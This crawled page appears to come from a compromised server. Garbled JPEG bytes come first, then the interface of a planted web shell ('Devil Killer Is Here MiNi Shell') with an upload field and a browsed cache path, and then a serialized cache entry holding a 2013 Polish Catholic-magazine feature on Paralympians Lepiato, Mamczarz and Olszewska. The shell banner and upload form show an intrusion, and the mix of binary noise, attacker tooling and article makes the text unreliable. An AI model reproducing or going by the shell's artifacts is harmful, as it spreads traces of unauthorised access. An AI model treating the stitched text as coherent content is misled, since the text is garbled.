JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /proc/self/root/home/vmanager/www/frontend/runtime/cache/0c/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : //proc/self/root/home/vmanager/www/frontend/runtime/cache/0c/0cc8e413cb39cbb4759c992778464b4b.bin

a:2:{i:0;a:2:{i:0;s:30085:" 
                    
                    <h3 class="title" itemprop="headline">Sprawniejsi niż inni</h3>
                    <p><span class="glyphicon glyphicon-time" aria-hidden="true"></span> <strong itemprop="datePublished"> 22-02-2013, 00:00</strong>
                        <meta itemprop="dateModified" content=" 22-02-2013, 00:00"/>
                        <div class="hide" itemprop="description">
	Chcemy ich oglądać, gdy szukamy w sporcie prawdziwych emocji, czystej walki i przełamywania siebie. Tego w trawionej przez doping i korupcję rywalizacji pełnosprawnych już nie ma.</div>
                        <div class="hide" itemprop="publisher" itemscope itemtype="https://schema.org/Organization">
                            <meta itemprop="name" content="sacro.com.pl">
                            <div itemprop="logo" itemscope itemtype="https://schema.org/ImageObject">
                                <meta itemprop="url" content="https://www.sacro.com.pl/images/loga/sacro.jpg">
                            </div>
                        </div>
                        <div class="hide" itemprop="image" itemscope itemtype="https://schema.org/ImageObject">
                            <meta itemprop="url" content="https://common.v-manager.pl/uploads/images/articles/58962/crop/800x600/b922281500-268165001571973926.webp">
                        </div>
                        <meta itemscope itemprop="mainEntityOfPage" itemType="https://schema.org/WebPage" itemid="https://www.sacro.com.pl/artykuly/szczegoly/58962"/>
                        
                                        </p>

                    <div class="lorem">
                        <p>
	<strong>Chcemy ich oglądać, gdy szukamy w sporcie prawdziwych emocji, czystej walki i przełamywania siebie. Tego w trawionej przez doping i korupcję rywalizacji pełnosprawnych już nie ma.</strong></p>
<p>
	<em>TEKST MICHAŁ BONDYRA</em></p>
<p>
	Blisko czwartą część konferencyjnej sali zajmują przeszklone gabloty. To trofea zdobywane przez niepełnosprawnych sportowców gorzowskiego „Startu” na przestrzeni 38 lat funkcjonowania klubu w sporcie niepełnosprawnych. Nie ma w nich tych najcenniejszych – siedmiu medali igrzysk paraolimpijskich w Londynie. Nic dziwnego, przecież ich zdobywcy muszą się nimi nacieszyć. W sumie w Londynie Polacy zdobyli ich aż 36. Ze swoich półkilogramowych krążków dumni są więc i Maciej Lepiato, i Łukasz Mamczarz, i Milena Olszewska, którzy swój sukces oparli… tylko na jednej nodze.</p>
<p>
	<u><strong>Maciej Lepiato: być jak Natalia Partyka</strong></u></p>
<p>
	Milena przedstawia Maćka jako największą gwiazdę klubu. Gdy przychodzą prośby o autografy ze szkół, dzieci głównie pytają o niego. „Przegląd Sportowy” okrzyknął go odkryciem roku. Nic w tym dziwnego. To on zdobył złoto, bijąc przy tym aż o cztery centymetry rekord świata w skoku wzwyż. Mało tego, startując z pełnosprawnymi, w tym roku skoczył trzy centymetry wyżej, osiągając najlepszy wynik halowy w Polsce! Maciek Lepiato na pierwszy rzut oka niczym nie różni się od innych sportowców. Jego końsko-szpotawe zakończenie lewej nogi widać dopiero, gdy skacze. Na zawodach i treningach wzmacnia ją specjalnym ochraniaczem. – Cała noga jest krótsza o pięć centymetrów, mam w niej zanik mięśni podudzia, przedłużone ścięgno Achillesa i prawie zerowy zakres ruchu w stawie skokowym – mówi. Gdy przychodzi lato, bez wstydu wkłada jednak krótkie spodenki i… biega. Robi to praktycznie od dzieciństwa, bo mimo swej niepełnosprawności „od zawsze grał z chłopakami w piłkę”.</p>
<p>
	<strong>Albo wsad, albo „pała”</strong></p>
<p>
	Wzwyż pierwszy raz skoczył na lekcji WF-u w zwierzynieckim gimnazjum. – To były skoki przez gumę na materac, jeszcze „nożycami”. Wszyscy skakali po 130–140 cm, a ja od razu 170 cm. Gdyby nie dzwonek na przerwę, skakałbym dalej – wspomina. Przygodę z lekką atletyką zaczął jednak od… koszykówki. – W drugiej klasie liceum w Strzelcach Krajeńskich pod nieobecność wuefisty Jarka Wali robiłem wsady do kosza. Gdy dowiedział się, co robię, powiedział, że mam to mu pokazać albo wstawi mi „pałę”. Pokazałem, a on zaprowadził mnie do trenera lekkiej atletyki Krzysztofa Borka – tłumaczy. Ten, po tym, co zobaczył, dał mu tygodniową rozpiskę z ćwiczeniami. – Pierwsze zawody lekkoatletyczne kończyłem z wynikiem 193 cm – mówi. Od tamtego czasu co roku zalicza wynikowy progres. Pełnię swoich możliwości pokazał w Londynie. Na pobicie rekordu świata Jeffa Skiby potrzebował tylko siedmiu skoków. – Nie mówiłem tego głośno, ale do Anglii jechałem po złoto i rekord. Wcześniej na oficjalnych zawodach starałem się nie skakać zbyt wysoko, by uśpić konkurencję. No i się udało – śmieje się. Do dziś wspomina 80 tys. żywiołowo reagujących kibiców. – Gdyby wtedy stadion mógł pomieścić 200 tys. osób, tylu by pewnie przyszło. Ludzie chcą nas oglądać, bo oni szukają prawdziwych emocji, czystej walki i przełamywania siebie. Tego w trawionym przez doping i korupcję sporcie pełnosprawnych już nie ma – podkreśla.</p>
<p>
	<strong>Emocje tylko przy Mazurku</strong></p>
<p>
	Stres potrafi przekuć w pozytywną energię. Kiedyś sprzyjały temu samotne wyprawy na ryby lub grzyby. – Jeszcze w szkole potrafiłem wstać o czwartej trzydzieści, by wyjść do lasu lub nad wodę, a potem wrócić do domu o siódmej, wziąć prysznic i biec do szkoły. Bardzo mi tego brakuje – mówi z żalem. Emocji nie dał jednak rady powstrzymać podczas dekoracji. Mazurka Dąbrowskiego śpiewał ze łzami w oczach. Londyn był nagrodą za sześć lat wyrzeczeń, ale i motorem do dalszego działania. Chce jechać do Rio, by tam, tak jak Natalia Partyka i Oskar Pistorius, startować nie tylko na paraolimpiadzie, ale i w igrzyskach olimpijskich. Droga do tego celu wiedzie przez ciężkie treningi. Sześć razy w tygodniu po dwie godziny szlifuje wraz z trenerem Zbigniewem Lewkowiczem technikę, siłę i dynamikę. Choć mówi trenerowi „per pan”, ich układ jest partnerski. Może dlatego, że obaj są magistrami wychowania fizycznego.</p>
<p>
	<strong>Za zdrowy, za chory</strong></p>
<p>
	Ze studiami było trochę kłopotów. – Lekarz powiedział mi, że jestem zbyt chory, by studiować. A było to dwa miesiące po tym, jak na mistrzostwach świata juniorów dla niepełnosprawnych w Dublinie okazałem się zbyt zdrowy, by startować<br />
	– wspomina rok 2006. Z obu historii wyszedł zwycięsko, z wyróżnieniem skończył bowiem gorzowski AWF na specjalizacji trener siatkówki, a nauczony doświadczeniem, na zawody jeździ już z dokumentacją medyczną. Jeździ i zdobywa medale, bo obok olimpijskiego złota ma w kolekcji mistrzostwo świata zarówno wśród seniorów, jak i juniorów. Dumna z jego wyczynów jest jego dziewczyna Dominika oraz rodzina. Dla mamy sukcesy najstarszego syna to rekompensata za cierpienia, jakie przeżyła, gdy był niemowlęciem. – Zaraz po urodzeniu musiałem przejść operację, pierwsze pół roku życia miałem druty w nodze i gips  – mówi. Dziś z rodzicami śmieje się, że chyba przyniósł go… bocian. – Tata pracuje na budowie, mama jest polonistką, a moje rodzeństwo Marta i Kuba mają coroczne zwolnienia z WF-u. Tylko ja odnajduję się w sporcie. I pewnie bym w nim nie był, gdyby nie moja niepełnosprawność – śmieje się.</p>
<div>
	<span> </span></div>
<p>
	<u><strong>Łukasz Mamczarz: poprzeczka zamiast motoru</strong></u></p>
<p>
	Łukasz to pasjonat motocykli. Interesował się nimi od dziecka. Nowiutkim ducati monster cieszył się kwadrans. Tamten dzień 13 lipca 2009 r. zapamięta na całe życie. – Jechałem drogą na Barlinek. W Łubiance jest parę domów i ostry zakręt. Jechałem 260 km/h, myślałem, że się zmieszczę. Nagle wyjechał stary opel. Huk. Z miejsca urwało mi nogę. Cud, że przeżyłem – mówi już bez emocji. Dziś jego noga po amputacji ma 20 cm. Zaraz po wypadku się nie załamał. – Nie miałem czasu, by analizować to, co się stało, bo dzień i noc byli ze mną znajomi – mówi. – Koledzy targali mnie z wózkiem na ryby, oglądali wspólnie filmy – wspomina. Dwa miesiące później trafił na oddział rehabilitacyjny Zespołu Szpitalnego przy ul. Walczaka w Gorzowie. – To przez panią ordynator zacząłem skakać. Pewnego razu przyszła i powiedziała: „Jesteś wysoki, nadawałbyś się do sportu”. „Przecież nie mam nogi” – odpowiedziałem. Ona powiedziała mi, że zna trenera od lekkiej atletyki, który zajmuje się niepełnosprawnymi, i czy nie chciałbym spróbować. Zgodziłem się i zapomniałem o sprawie – mówi.</p>
<p>
	<strong>Zamiast motoru paraolimpijski brąz</strong></p>
<p>
	Dwa tygodnie później ojciec jeżdżący tirem poinformował go, że dzwonił pan Lewkowicz i chciałby się spotkać. Bracia dowieźli go na salę „Startu” pierwszy raz w listopadzie 2009 r. Dziś już go nie dowożą – dojeżdża sam mercedesem z automatyczną skrzynią biegów. – Motor sprzedałem, ale jeżdżę na quadach, są stabilniejsze, a przy jednej nodze to bardzo ważne – tłumaczy, wspominając, jak początkowo bał się chodzić o kulach. – Nieraz idąc do sklepu czy znajdując się na przejściu dla pieszych, wywracałem się. Było mi głupio, że taki młody, a nie potrafię normalnie iść – wraca do początków. Dziś na jednej nodze potrafi przeskoczyć poprzeczkę zawieszoną na wysokości 182 cm. – Ten wynik dał mi mistrzostwo Europy i przepustkę do Londynu – tłumaczy. W stolicy Anglii skoczył 8 cm mniej. Starczyło na brąz. – Na paraolimpiadę jechałem, by odkuć się za czwarte miejsce na mistrzostwach świata w Nowej Zelandii. Mało brakowało, żeby mi to kompletnie nie wyszło. Stres był tak ogromny, że nie czułem zupełnie skoków. Trener łapał się za głowę. Uspokoił mnie dopiero kolega z Fidżi, z którym rywalizowaliśmy o medale. Udało się i jemu, i mnie – oddycha z ulgą.</p>
<p>
	<strong>Podwójnie szczęśliwe Rio?</strong></p>
<p>
	Choć nie ma nogi, trenuje razem z Maćkiem u tego samego trenera Zbigniewa Lewkowicza. Razem z nim i Mileną odwiedza szkoły i opowiada o tym, dlaczego jest niepełnosprawny i jak to możliwe, że na jednej nodze skacze tak wysoko. – Sam nie wiem, jak to możliwe – śmieje się, dodając poważnie, że to efekt ogromnej pracy. – Muszę bardzo wzmacniać nogę, bo na niej biegam i z niej się wybijam – chwali się, że potrafi na niej zrobić półprzysiad ze sztangą obciążoną 180 kg! Dziś przygotowuje się do tegorocznych mistrzostw świata w Lyonie. – O medal będzie trudno, bo mamy grupę łączoną z Maćkiem – przyznaje szczerze. Dużo optymistyczniej wypowiada się o igrzyskach w Rio. – Tam znów powalczę o złoto – deklaruje. Rio może być jeszcze szczęśliwe dla Łukasza z innego powodu; po paraolimpiadzie planuje bowiem ślub ze swoją dziewczyną Sandrą. Teraz stara się o protezę sportową. Kwoty 40 tys. zł nie pokryje jednak z pieniędzy, które dostał za paraolimpijski brąz. Choć dostaje stypendium, liczy na to, że wynik z paraolimpiady przyciągnie sponsorów i w tym względzie niepełnosprawni sportowcy zaczną być traktowani tak jak ich pełnosprawni koledzy.</p>
<p>
	<u><strong>Milena Olszewska: człowiek renesansu</strong></u></p>
<p>
	Milena to człowiek instytucja. Pięć dni w tygodniu siedzi za biurkiem sekretariatu w „Starcie” Gorzów. Potem je w biegu obiad, by zdążyć na popołudniowy trening łuczniczy na 18-metrowej hali – 52 metry bliżej niż w Londynie, gdzie sięgnęła po niespodziewany brąz. W ciągu dwóch godzin potrafi oddać nawet 100 strzałów. – Każde naciągnięcie 40-fun-towego łuku jest równoważne z podniesieniem 20 kg. Śmiejemy się z trenerem, że na zawodach przerzucamy ponad dwie tony – mówi. Po takich zawodach jak te w Londynie adrenalina nie pozwala zasnąć, co innego żmudne treningi, po których zasypia jak dziecko. – Zimą doskonalimy siłę. Mam takie ćwiczenie, że naciągam łuk i trzymam go w tej pozycji 20 sekund, nie oddając strzału. Wszystko po to, by później, gdy na zawodach pojawi się stres, zadziałał automatyzm – wyjaśnia Milena.</p>
<p>
	<strong>Bez taryfy ulgowej</strong></p>
<p>
	Niepełnosprawna jest od dziecka. – Chyba wychowałam się w jakimś raju, bo czarnkowskie środowisko przyjęło mnie taką, jaką jestem od samego początku – śmieje się. Podkreśla też wielką mądrość rodziców. – Oni wychowywali mnie tak, jak moje zdrowe rodzeństwo, nigdy nie miałam taryfy ulgowej – dodaje. Choć urodziła się z dwiema nogami, jedna z nich – prawa, ciągle się łamała. – Miałam tzw. staw rzekomy, noga przestała rosnąć i od szóstego roku życia zaczęłam chodzić o kulach – wspomina. W wieku 15 lat, chora noga była już o 30 cm krótsza od zdrowej, wtedy lekarze podjęli decyzję: amputacja! – Początkowo mówiłam, że to dobrze, bo przecież mam z nią same problemy. Jednak gdy obudziłam się „po” w szpitalu, przeżyłam szok – mówi, podkreślając olbrzymie wsparcie rodziców. Amputacja zbiegła się z egzaminami do liceum. – Nie było czasu na rozpamiętywanie tego, co się stało. A szpitale już tak pokochałam, że chciałam zostać lekarzem – śmieje się. W szkole średniej w Czarnkowie odkryła, że jest humanistką. Poszła za ciosem. Ukończyła pedagogikę w Gorzowie. – Mogę uczyć dzieci w klasach 1–3, ale chyba wolałabym je trenować – mówi o przyszłości po łucznictwie.</p>
<p>
	<strong>Do łuku podstępem</strong></p>
<p>
	Do łucznictwa została zwerbowana podstępem. Swoją konferencję w Gorzowie miała Alicja Bukańska – wtedy aktualna mistrzyni świata w łucznictwie wśród osób niepełnosprawnych. – Chodziło o to, by mnie poznać i przekonać do łuku – tłumaczy Milena. Na treningu pojawiła się w listopadzie 2007 r. – Naciągnęłam łuk, strzeliłam i mi się spodobało – uśmiecha się. Sukcesu w Londynie się nie spodziewała. – Z trenerem Ryszardem Bukańskim zakładaliśmy wejście do czołowej ósemki. Po drugim miejscu w eliminacjach, chciałam wygrać choć jeden pucharowy pojedynek – tłumaczy. Ten pierwszy przypadł na Brytyjkę Lee. – Bardzo było mi jej żal, bo przegrać u siebie, gdy wspierają cię rodzice, nie jest miło – mówi. W walce o czwórkę spotkała się ze starą znajomą: Rosjanką Iriną Batorową, z którą przegrała wcześniej finał mniejszych zawodów w Czechach, jak przyznaje na własne życzenie. Kilka miesięcy później w Anglii Irina prowadziła z Mileną już 4:0. – Wtedy wzięłam trzy głębokie oddechy, przesunęłam krzesło bliżej prawej strony i… wygrałam pojedynek 6:4 – relacjonuje swój najlepszy jak dotąd występ. Potem gładko przegrała z późniejszą mistrzynią z Chin, by wygrać z Mongołką. – Powiedziałam sobie, że skoro strzelałam z trzeciego toru i stanowiska C, to do kompletu brakuje mi trzeciej trójki – mówi. Ta trzecia trójka dała jej brąz i łzy radości.</p>
<p>
	<strong>Koronka na torze</strong></p>
<p>
	Wzruszenie towarzyszyło jej po Londynie kilkakrotnie. Pierwszy raz na korytarzu prowadzącym z hali przylotów. – Stała tam pani i dwie małe dziewczynki z różami. Kiedy mama zobaczyła, że wychodzę, powiedziała swoim córkom, żeby wręczyły mi te kwiaty – wspomina powrót z igrzysk. Milenę poruszyła też reakcja sąsiadów. – Na moim wieżowcu rozwiesili wielki transparent z napisem „Witamy Milenę – wicemistrzynię olimpijską”. Z tą wicemistrzynią już ich nie poprawiałam – śmieje się. Pokłosiem paraolimpijskiego brązu jest też wybór Polskiego Związku Łuczniczego do 10 najlepszych polskich łuczniczek. Jest też… darmowe wejście do najlepszego w Gorzowie klubu jazzowego. – Jazz obok rocka, książek Tołstoja i Dostojewskiego to moja wielka pasja – przyznaje członkini klubu książki „Mole”, który założyła wraz z przyjaciółmi. Do przyjaciół zalicza też państwa Bukańskich. – Oni nie mają dzieci i traktują mnie trochę jak córkę – tłumaczy. Największego przyjaciela widzi jednak w… Panu Bogu. Ze swoją wiarą się nie kryje. W przerwie między pojedynkami na torach lubi posłuchać… Koronki do Bożego Miłosierdzia. Przed wylotem do Londynu wraz z przyjaciółką poszła na Mszę św. i do spowiedzi. – Wśród telefonów, spotkań i słów otuchy ta wspólna modlitwa była dla mnie najważniejsza – przyznaje szczerze.</p>                        
                         
 
                        <div class="googleads-article">
<!-- script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script -->
<!-- vManager - w treści artykułu 2 -->
<ins class="adsbygoogle"
     style="display:block"
     data-ad-client="ca-pub-6177099932506559"
     data-ad-slot="9192484574"
     data-ad-format="auto"
     data-full-width-responsive="true"></ins>
<script>
     (adsbygoogle = window.adsbygoogle || []).push({});
</script>
                        </div>


                           
                    </div>
                    
                    <div class="text-center">
                                        </div>

                                            
                      
                        
                        
                    
                                        <div class="portal-light-background p1em mt1" itemprop="author" itemscope itemtype="https://schema.org/Person">
                        <strong>Źródło:</strong> 
                        <span itemprop="name">
                                                    
                            Przewodnik Katolicki                                                        
                                                    </span>
                        <br>
                    </div>
                                        
                                            <div class="nav-table tags mt05">
                            <div>Tagi:</div>    
                            <div>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=niepełnosprawny+sportowiec" class="label label-default">niepełnosprawny sportowiec</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=Maciej+Lepiato" class="label label-default">Maciej Lepiato</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=Łukasz+Mamczarz" class="label label-default">Łukasz Mamczarz</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=lekkoatletyka" class="label label-default">lekkoatletyka</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=Milena+Olszewska" class="label label-default">Milena Olszewska</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=łucznictwo" class="label label-default">łucznictwo</a>
                                                            </div>
                        </div>
                                            
                        
                    <div id="fb-root"></div>
                    <!--script async defer crossorigin="anonymous" src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0" nonce="2g9iczzS"></script-->
                    
<script>
//<![CDATA[
var lx=!1;window.addEventListener("scroll",function(){(0!=document.documentElement.scrollTop&&!1===lx||0!=document.body.scrollTop&&!1===lx)&&(!function(){var e=document.createElement("script");e.type="text/javascript",e.async=!0,e.src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0";var a=document.getElementsByTagName("script")[0];a.parentNode.insertBefore(e,a)}(),lx=!0)},!0);
//]]>
</script>
                    
                    <div class="social text-center mb1">
                        <div class="fb-like" data-href="https://www.sacro.com.pl/artykuly/szczegoly/58962_sprawniejsi-niz-inni" data-width="" data-layout="button" data-action="like" data-show-faces="false" data-share="true"></div>
                    </div>

                                                                    <p class="strong">Artykuł został dodany przez firmę</p>
                        <div class="media list">
                            <div class="media-left">
                                                                <a class="fill light-border-right" href="">
                                    <div class="flex">
                                        <img loading="lazy" class="img-responsive inline" style="padding:0;width:100px;" src="https://common.v-manager.pl/uploads/images/companies/89374/frame/100x80/logo-124353001571966361.gif" alt="Drukarnia i Księgarnia Św. Wojciecha Sp. z o.o. (Wydawnictwo Święty Wojciech) - zdjęcie">
                                    </div>
                                </a>
                                                            </div>
                            <div class="media-body">
                                <a href="">
                                    <h5 class="media-heading title">Drukarnia i Księgarnia Św. Wojciecha Sp. z o.o. (Wydawnictwo Święty Wojciech)</h5>
                                </a>                                
                                                
                                                            </div>
                        </div>
                        <hr class="portal-hr">
                        <div class="clearfix"></div>
                    
                    <div id="articles">    
                        
                    
                                            <p class="strong">Inne publikacje firmy</p>  
                        
                        <div class="row">
                                                    
                        <div class="col-sm-6">
                        <div class="media" style="margin-bottom: 15px;">
                                                            <div class="media-left">
                                    <a href="/artykuly/szczegoly/59365_pontyfikat-franciszka-podoba-mi-sie">
                                        <img loading="lazy" class="media-object" width="80" height="60" src="https://common.v-manager.pl/uploads/images/articles/59365/frame/80x60/b30e3b1894-845758001571973960.webp" alt="Pontyfikat Franciszka? Podoba mi się - zdjęcie">
                                    </a>
                                </div>
                                                        <a href="/artykuly/szczegoly/59365_pontyfikat-franciszka-podoba-mi-sie" class="media-body">
                                <h3 class="media-heading">Pontyfikat Franciszka? Podoba mi się</h3>
                                <p>
	Czy to prawda, że przez rozmowy z kard. J&oacute;zefem Ratzingerem nawr&oacute;cił się Pan?</p>
                            </a>
                        </div>
                        </div>
                                                                            
                        <div class="col-sm-6">
                        <div class="media" style="margin-bottom: 15px;">
                                                            <div class="media-left">
                                    <a href="/artykuly/szczegoly/59363_moj-krol-i-moj-pan">
                                        <img loading="lazy" class="media-object" width="80" height="60" src="https://common.v-manager.pl/uploads/images/articles/59363/frame/80x60/bea0ea2d06-729443001571973960.webp" alt="Mój Król i mój Pan - zdjęcie">
                                    </a>
                                </div>
                                                        <a href="/artykuly/szczegoly/59363_moj-krol-i-moj-pan" class="media-body">
                                <h3 class="media-heading">Mój Król i mój Pan</h3>
                                <p>
	Jest i purpurowy płaszcz, i korona na głowie, i berło w dłoni, jak na kr&oacute;la przystało.</p>
                            </a>
                        </div>
                        </div>
                        <div class="clearfix"></div>                                                    
                        <div class="col-sm-6">
                        <div class="media" style="margin-bottom: 15px;">
                                                            <div class="media-left">
                                    <a href="/artykuly/szczegoly/59362_wotum-za-niepodleglosc">
                                        <img loading="lazy" class="media-object" width="80" height="60" src="https://common.v-manager.pl/uploads/images/articles/59362/frame/80x60/e234ee75cc-672261001571973960.webp" alt="Wotum za niepodległość - zdjęcie">
                                    </a>
                                </div>
                                                        <a href="/artykuly/szczegoly/59362_wotum-za-niepodleglosc" class="media-body">
                                <h3 class="media-heading">Wotum za niepodległość</h3>
                                <p>
	Jej kolosalne rozmiary można ocenić właściwie dopiero z dystansu. Jeżeli kierując się od centrum...</p>
                            </a>
                        </div>
                        </div>
                                                                            
                        <div class="col-sm-6">
                        <div class="media" style="margin-bottom: 15px;">
                                                            <div class="media-left">
                                    <a href="/artykuly/szczegoly/59361_pozwolic-jezusowi-panowac">
                                        <img loading="lazy" class="media-object" width="80" height="60" src="https://common.v-manager.pl/uploads/images/articles/59361/frame/80x60/15d84125fc-604565001571973960.webp" alt="Pozwolić Jezusowi panować - zdjęcie">
                                    </a>
                                </div>
                                                        <a href="/artykuly/szczegoly/59361_pozwolic-jezusowi-panowac" class="media-body">
                                <h3 class="media-heading">Pozwolić Jezusowi panować</h3>
                                <p>
	Z bp. Andrzejem Czają, przewodniczącym Zespołu ds. Ruch&oacute;w Intronizacyjnych KEP, o Jubileus...</p>
                            </a>
                        </div>
                        </div>
                        <div class="clearfix"></div>                                                    
                        <div class="col-sm-6">
                        <div class="media" style="margin-bottom: 15px;">
                                                            <div class="media-left">
                                    <a href="/artykuly/szczegoly/59360_ku-pamieci-kresow-zachodnich">
                                        <img loading="lazy" class="media-object" width="80" height="60" src="https://common.v-manager.pl/uploads/images/articles/59360/frame/80x60/e76c31c9ce-532766001571973960.webp" alt="Ku pamięci Kresów Zachodnich - zdjęcie">
                                    </a>
                                </div>
                                                        <a href="/artykuly/szczegoly/59360_ku-pamieci-kresow-zachodnich" class="media-body">
                                <h3 class="media-heading">Ku pamięci Kresów Zachodnich</h3>
                                <p>
	Tragedia ludności na ziemiach polskich wcielonych do III Rzeszy wciąż słabo przebija się w powsze...</p>
                            </a>
                        </div>
                        </div>
                                                                            
                        <div class="col-sm-6">
                        <div class="media" style="margin-bottom: 15px;">
                                                            <div class="media-left">
                                    <a href="/artykuly/szczegoly/59357_nie-boj-sie-bac">
                                        <img loading="lazy" class="media-object" width="80" height="60" src="https://common.v-manager.pl/uploads/images/articles/59357/frame/80x60/580781c8cc-318542001571973960.webp" alt="Nie bój się bać - zdjęcie">
                                    </a>
                                </div>
                                                        <a href="/artykuly/szczegoly/59357_nie-boj-sie-bac" class="media-body">
                                <h3 class="media-heading">Nie bój się bać</h3>
                                <p>
	Jedni je lubią, drudzy się boją, jeszcze inni omijają &bdquo;na wszelki wypadek&rdquo; &ndash; ja...</p>
                            </a>
                        </div>
                        </div>
                        <div class="clearfix"></div>                                                </div>
                        
                                                <div class="clearfix"></div>
                        <hr class="portal-hr">
